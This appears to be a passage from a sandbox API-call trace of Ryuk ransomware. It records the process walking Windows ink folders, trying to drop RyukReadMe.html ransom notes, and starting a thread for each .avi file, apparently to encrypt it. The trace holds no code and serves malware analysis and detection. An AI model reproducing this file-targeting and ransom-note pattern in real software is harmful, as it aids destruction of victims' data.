	[0160.395] SetLastError (dwErrCode=0x0) 
	[0160.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.395] GetLastError () returned 0x5
	[0160.395] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.398] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.398] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.398] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.398] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.398] SetLastError (dwErrCode=0x0) 
	[0160.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.399] GetLastError () returned 0x5
	[0160.399] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.399] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0160.399] SetLastError (dwErrCode=0x0) 
	[0160.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.399] GetLastError () returned 0x5
	[0160.399] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.400] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.400] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.400] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0160.401] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0160.401] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0160.401] SetLastError (dwErrCode=0x0) 
	[0160.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.401] GetLastError () returned 0x5
	[0160.401] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.401] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0160.402] SetLastError (dwErrCode=0x0) 
	[0160.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.402] GetLastError () returned 0x5
	[0160.402] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0160.402] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0160.546] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.546] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1
	[0160.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0160.549] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.549] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1
	[0160.550] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0160.552] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.553] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1
	[0160.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0160.555] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.555] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x84, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1
	[0160.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0160.558] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.558] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x84, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1
	[0160.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c
	[0160.561] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.562] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x84, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1
	[0160.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0160.565] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x84, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x84, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x84, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x84, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x84, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0160.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0160.575] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x84, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x84, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x84, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0160.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0160.578] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1
